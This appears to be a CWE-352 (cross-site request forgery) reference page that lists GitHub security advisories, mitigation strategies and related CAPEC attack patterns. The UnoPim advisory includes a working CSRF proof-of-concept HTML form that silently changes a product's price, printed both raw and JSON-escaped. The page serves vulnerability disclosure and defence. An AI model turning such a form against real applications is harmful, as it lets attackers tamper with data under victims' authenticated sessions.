CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14231 vulnerabilities reference this CWE, most recent first.
GHSA-2837-WH3M-XWH8
Vulnerability from github – Published: 2022-05-13 01:06 – Updated: 2022-05-13 01:06The Comcast firmware on Cisco DPC3939B (firmware version dpc3939b-v303r204217-150321a-CMCST) devices allows configuration changes via CSRF.
{
"affected": [],
"aliases": [
"CVE-2017-9489"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-31T03:29:00Z",
"severity": "HIGH"
},
"details": "The Comcast firmware on Cisco DPC3939B (firmware version dpc3939b-v303r204217-150321a-CMCST) devices allows configuration changes via CSRF.",
"id": "GHSA-2837-wh3m-xwh8",
"modified": "2022-05-13T01:06:02Z",
"published": "2022-05-13T01:06:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9489"
},
{
"type": "WEB",
"url": "https://github.com/BastilleResearch/CableTap/blob/master/doc/advisories/bastille-33.cross-site-request-forgery.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2843-97WR-VCMH
Vulnerability from github – Published: 2022-05-17 01:28 – Updated: 2022-05-17 01:28Cross-site request forgery (CSRF) vulnerability in the Admin Web UI in IBM Lotus Protector for Mail Security 2.8.x before 2.8.1-22905 allows remote authenticated users to hijack the authentication of unspecified victims via unknown vectors.
{
"affected": [],
"aliases": [
"CVE-2014-0885"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-03-25T20:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in the Admin Web UI in IBM Lotus Protector for Mail Security 2.8.x before 2.8.1-22905 allows remote authenticated users to hijack the authentication of unspecified victims via unknown vectors.",
"id": "GHSA-2843-97wr-vcmh",
"modified": "2022-05-17T01:28:00Z",
"published": "2022-05-17T01:28:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0885"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/91171"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21668124"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2859-2JV7-892H
Vulnerability from github – Published: 2022-05-17 05:14 – Updated: 2022-05-17 05:14Cross-site request forgery (CSRF) vulnerability in the web interface in Cisco Prime Infrastructure allows remote attackers to hijack the authentication of arbitrary users, aka Bug ID CSCue84676.
{
"affected": [],
"aliases": [
"CVE-2013-1153"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-03-07T20:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in the web interface in Cisco Prime Infrastructure allows remote attackers to hijack the authentication of arbitrary users, aka Bug ID CSCue84676.",
"id": "GHSA-2859-2jv7-892h",
"modified": "2022-05-17T05:14:00Z",
"published": "2022-05-17T05:14:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1153"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1153"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-285R-49W9-7V77
Vulnerability from github – Published: 2022-05-17 03:28 – Updated: 2025-04-12 12:50Cross-site request forgery (CSRF) vulnerability in SecuritySetting/UserSecurity/UserManagement.aspx in B.A.S C2Box before 4.0.0 (r19171) allows remote attackers to hijack the authentication of administrators for requests that add administrator accounts via certain vectors.
{
"affected": [],
"aliases": [
"CVE-2015-4460"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-07-16T20:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in SecuritySetting/UserSecurity/UserManagement.aspx in B.A.S C2Box before 4.0.0 (r19171) allows remote attackers to hijack the authentication of administrators for requests that add administrator accounts via certain vectors.",
"id": "GHSA-285r-49w9-7v77",
"modified": "2025-04-12T12:50:12Z",
"published": "2022-05-17T03:28:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4460"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/132475/C2Box-4.0.0-r19171-Cross-Site-Request-Forgery.html"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/Siros96/CSRF/master/PoC"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/37447"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/535861/30/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/75569"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-287C-CC7V-7V95
Vulnerability from github – Published: 2024-02-27 12:31 – Updated: 2024-02-27 12:31The Categorify plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.7.4. This is due to missing or incorrect nonce validation on the categorifyAjaxUpdateFolderPosition function. This makes it possible for unauthenticated attackers to update the folder position of categories as well as update the metadata of other taxonomies via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2024-1912"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-27T11:15:09Z",
"severity": "MODERATE"
},
"details": "The Categorify plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.7.4. This is due to missing or incorrect nonce validation on the categorifyAjaxUpdateFolderPosition function. This makes it possible for unauthenticated attackers to update the folder position of categories as well as update the metadata of other taxonomies via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-287c-cc7v-7v95",
"modified": "2024-02-27T12:31:11Z",
"published": "2024-02-27T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1912"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3034410/categorify"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6ca28c91-f75e-4691-91cf-459cc9da5ad8?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-287X-6R2H-F9MW
Vulnerability from github – Published: 2025-08-21 14:27 – Updated: 2025-08-21 19:16Summary
Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF).
| Method | Endpoint | Status | Reason |
|:------:|:------:|:------:|:------:|
| POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |
| GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection |
| POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection |
| POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |
The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:
/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}
Details
CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim.
In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.
PoC
1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.
POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ
csrf-poc.html:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
<input type="hidden" name="_token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
<input type="hidden" name="_method" value="PUT" />
<input type="hidden" name="sku" value="SM-BL-102" />
<input type="hidden" name="channel" value="default" />
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="values[common][sku]" value="SM-BL-102" />
<input type="hidden" name="uniqueFields[values.common.sku]" value="values[common][sku]" />
<input type="hidden" name="values[common][product_number]" value="" />
<input type="hidden" name="uniqueFields[values.common.product_number]" value="values[common][product_number]" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][name]" value="test" />
<input type="hidden" name="values[common][url_key]" value="fffkk" />
<input type="hidden" name="uniqueFields[values.common.url_key]" value="values[common][url_key]" />
<input type="hidden" name="values[channel_specific][default][tax_category_id]" value="" />
<input type="hidden" name="values[channel_specific][default][tax_category_id]" value="" />
<input type="hidden" name="values[common][color]" value="" />
<input type="hidden" name="values[common][color]" value="" />
<input type="hidden" name="values[common][size]" value="" />
<input type="hidden" name="values[common][size]" value="" />
<input type="hidden" name="values[common][brand]" value="" />
<input type="hidden" name="values[common][brand]" value="" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][short_description]" value="<p>fff</p>" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][description]" value="<p>fff</p>" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][meta_title]" value="" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][meta_keywords]" value="" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][meta_description]" value="" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][price][USD]" value="7.777" />
<input type="hidden" name="values[channel_specific][default][cost][USD]" value="" />
<input type="hidden" name="values[common][status]" value="false" />
<input type="hidden" name="values[common][status]" value="true" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Impact
Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.
Remediation:
- Use CSRF token for every state changing request.
- Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "Packagist",
"name": "unopim/unopim"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55744"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-21T14:27:18Z",
"nvd_published_at": "2025-08-21T16:15:34Z",
"severity": "MODERATE"
},
"details": "### Summary\nSome of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF).\n| Method | Endpoint | Status | Reason |\n|:------:|:------:|:------:|:------:|\n| POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | `X-XSRF-TOKEN` header used |\n| GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing `X-XSRF-TOKEN` header or similar protection |\n| POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing `X-XSRF-TOKEN` header or similar protection |\n| POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | `X-XSRF-TOKEN` header used |\n\nThe below are some of the vulnerable endpoints that allow state changing actions including but not limited to:\n```\n/admin/catalog/categories/create\n/admin/catalog/categories/edit/{id}\n/admin/catalog/category-fields/create\n/admin/catalog/category-fields/edit/{id}\n/admin/catalog/attributes/create\n/admin/catalog/attributes/edit/{id}\n```\n\n### Details\nCSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim.\nIn this case, the POST request doesn\u0027t need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either `application/x-www-form-urlencoded` or `multipart/form-data` so we can say this is a `Simple request` ( doesn\u0027t need preflight request ). The cookies are send because `samesite` is set to `None`. We have every ingredients for a successful CSRF attack.\n\n### PoC\n 1. Go to any product and click on Edit.\n 2. Capture the request on Burp, right click and generate a CSRF POC ( or use the below csrf-poc.html )\n 3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.\n\nPOC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ\n\n`csrf-poc.html`:\n```\n\u003chtml\u003e\n \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://127.0.0.1:8000/admin/catalog/products/edit/7\" method=\"POST\" enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"\u0026#95;token\" value=\"s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5\" /\u003e\n \u003cinput type=\"hidden\" name=\"\u0026#95;method\" value=\"PUT\" /\u003e\n \u003cinput type=\"hidden\" name=\"sku\" value=\"SM\u0026#45;BL\u0026#45;102\" /\u003e\n \u003cinput type=\"hidden\" name=\"channel\" value=\"default\" /\u003e\n \u003cinput type=\"hidden\" name=\"locale\" value=\"en\u0026#95;US\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;sku\u0026#93;\" value=\"SM\u0026#45;BL\u0026#45;102\" /\u003e\n \u003cinput type=\"hidden\" name=\"uniqueFields\u0026#91;values\u0026#46;common\u0026#46;sku\u0026#93;\" value=\"values\u0026#91;common\u0026#93;\u0026#91;sku\u0026#93;\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;product\u0026#95;number\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"uniqueFields\u0026#91;values\u0026#46;common\u0026#46;product\u0026#95;number\u0026#93;\" value=\"values\u0026#91;common\u0026#93;\u0026#91;product\u0026#95;number\u0026#93;\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;locale\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;en\u0026#95;US\u0026#93;\u0026#91;name\u0026#93;\" value=\"test\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;url\u0026#95;key\u0026#93;\" value=\"fffkk\" /\u003e\n \u003cinput type=\"hidden\" name=\"uniqueFields\u0026#91;values\u0026#46;common\u0026#46;url\u0026#95;key\u0026#93;\" value=\"values\u0026#91;common\u0026#93;\u0026#91;url\u0026#95;key\u0026#93;\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;tax\u0026#95;category\u0026#95;id\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;tax\u0026#95;category\u0026#95;id\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;color\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;color\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;size\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;size\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;brand\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;brand\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;locale\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;en\u0026#95;US\u0026#93;\u0026#91;short\u0026#95;description\u0026#93;\" value=\"\u0026lt;p\u0026gt;fff\u0026lt;\u0026#47;p\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;locale\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;en\u0026#95;US\u0026#93;\u0026#91;description\u0026#93;\" value=\"\u0026lt;p\u0026gt;fff\u0026lt;\u0026#47;p\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;locale\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;en\u0026#95;US\u0026#93;\u0026#91;meta\u0026#95;title\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;locale\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;en\u0026#95;US\u0026#93;\u0026#91;meta\u0026#95;keywords\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;locale\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;en\u0026#95;US\u0026#93;\u0026#91;meta\u0026#95;description\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;locale\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;en\u0026#95;US\u0026#93;\u0026#91;price\u0026#93;\u0026#91;USD\u0026#93;\" value=\"7\u0026#46;777\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;channel\u0026#95;specific\u0026#93;\u0026#91;default\u0026#93;\u0026#91;cost\u0026#93;\u0026#91;USD\u0026#93;\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;status\u0026#93;\" value=\"false\" /\u003e\n \u003cinput type=\"hidden\" name=\"values\u0026#91;common\u0026#93;\u0026#91;status\u0026#93;\" value=\"true\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n\n```\n\n### Impact\nAttacker can perform action on behalf of the victim as this happens on the victim\u0027s browser provide the victim is already authenticated to the application.\nAttacker can use an image tag to send the GET request such that when the page is loaded, it\u0027ll get executed.\nAs shown in the video POC, the product information can be tampered, create new categories etc.\n\n### Remediation:\n- Use CSRF token for every state changing request.\n- Use samesite: lax or strict, now it is set \u0027None\u0027. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.",
"id": "GHSA-287x-6r2h-f9mw",
"modified": "2025-08-21T19:16:50Z",
"published": "2025-08-21T14:27:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unopim/unopim/security/advisories/GHSA-287x-6r2h-f9mw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55744"
},
{
"type": "WEB",
"url": "https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ"
},
{
"type": "PACKAGE",
"url": "https://github.com/unopim/unopim"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "UnoPim vulnerable to CSRF on Product edit feature and creation of other types"
}
GHSA-2885-VC9P-8279
Vulnerability from github – Published: 2025-01-02 12:32 – Updated: 2026-04-01 18:33Cross-Site Request Forgery (CSRF) vulnerability in Event Espresso Event Espresso 4 Decaf allows Cross Site Request Forgery.This issue affects Event Espresso 4 Decaf: from n/a through 5.0.28.decaf.
{
"affected": [],
"aliases": [
"CVE-2024-56251"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-02T12:15:26Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Event Espresso Event Espresso 4 Decaf allows Cross Site Request Forgery.This issue affects Event Espresso 4 Decaf: from n/a through 5.0.28.decaf.",
"id": "GHSA-2885-vc9p-8279",
"modified": "2026-04-01T18:33:00Z",
"published": "2025-01-02T12:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56251"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/event-espresso-decaf/vulnerability/wordpress-event-espresso-plugin-5-0-28-decaf-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-288V-V6P7-H593
Vulnerability from github – Published: 2022-12-08 09:30 – Updated: 2022-12-10 03:30A vulnerability classified as problematic has been found in CTF-hacker pwn. This affects an unknown part of the file delete.html. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-215109 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-4349"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-08T08:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as problematic has been found in CTF-hacker pwn. This affects an unknown part of the file delete.html. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-215109 was assigned to this vulnerability.",
"id": "GHSA-288v-v6p7-h593",
"modified": "2022-12-10T03:30:43Z",
"published": "2022-12-08T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4349"
},
{
"type": "WEB",
"url": "https://gitee.com/CTF-hacker/pwn/issues/I5WAAB"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.215109"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2898-PHR2-M6MC
Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 00:59An issue was discovered on Securifi Almond, Almond+, and Almond 2015 devices with firmware AL-R096. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change a user's password. Also this is a systemic issue.
{
"affected": [],
"aliases": [
"CVE-2017-8328"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-18T21:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on Securifi Almond, Almond+, and Almond 2015 devices with firmware AL-R096. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change a user\u0027s password. Also this is a systemic issue.",
"id": "GHSA-2898-phr2-m6mc",
"modified": "2024-04-04T00:59:17Z",
"published": "2022-05-24T16:48:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8328"
},
{
"type": "WEB",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Securifi_Almond_plus_sec_issues.pdf"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/153227/Securifi-Almond-2015-Buffer-Overflow-Command-Injection-XSS-CSRF.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-28CH-34RW-P44W
Vulnerability from github – Published: 2022-05-17 04:18 – Updated: 2022-05-17 04:18Cross-site request forgery (CSRF) vulnerability in admin/setup/config/users.php in poMMo Aardvark PR16.1 allows remote attackers to hijack the authentication of administrators for requests that modify credentials via certain admin_ parameters.
{
"affected": [],
"aliases": [
"CVE-2011-5300"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-01-01T11:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in admin/setup/config/users.php in poMMo Aardvark PR16.1 allows remote attackers to hijack the authentication of administrators for requests that modify credentials via certain admin_ parameters.",
"id": "GHSA-28ch-34rw-p44w",
"modified": "2022-05-17T04:18:30Z",
"published": "2022-05-17T04:18:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-5300"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB22976"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.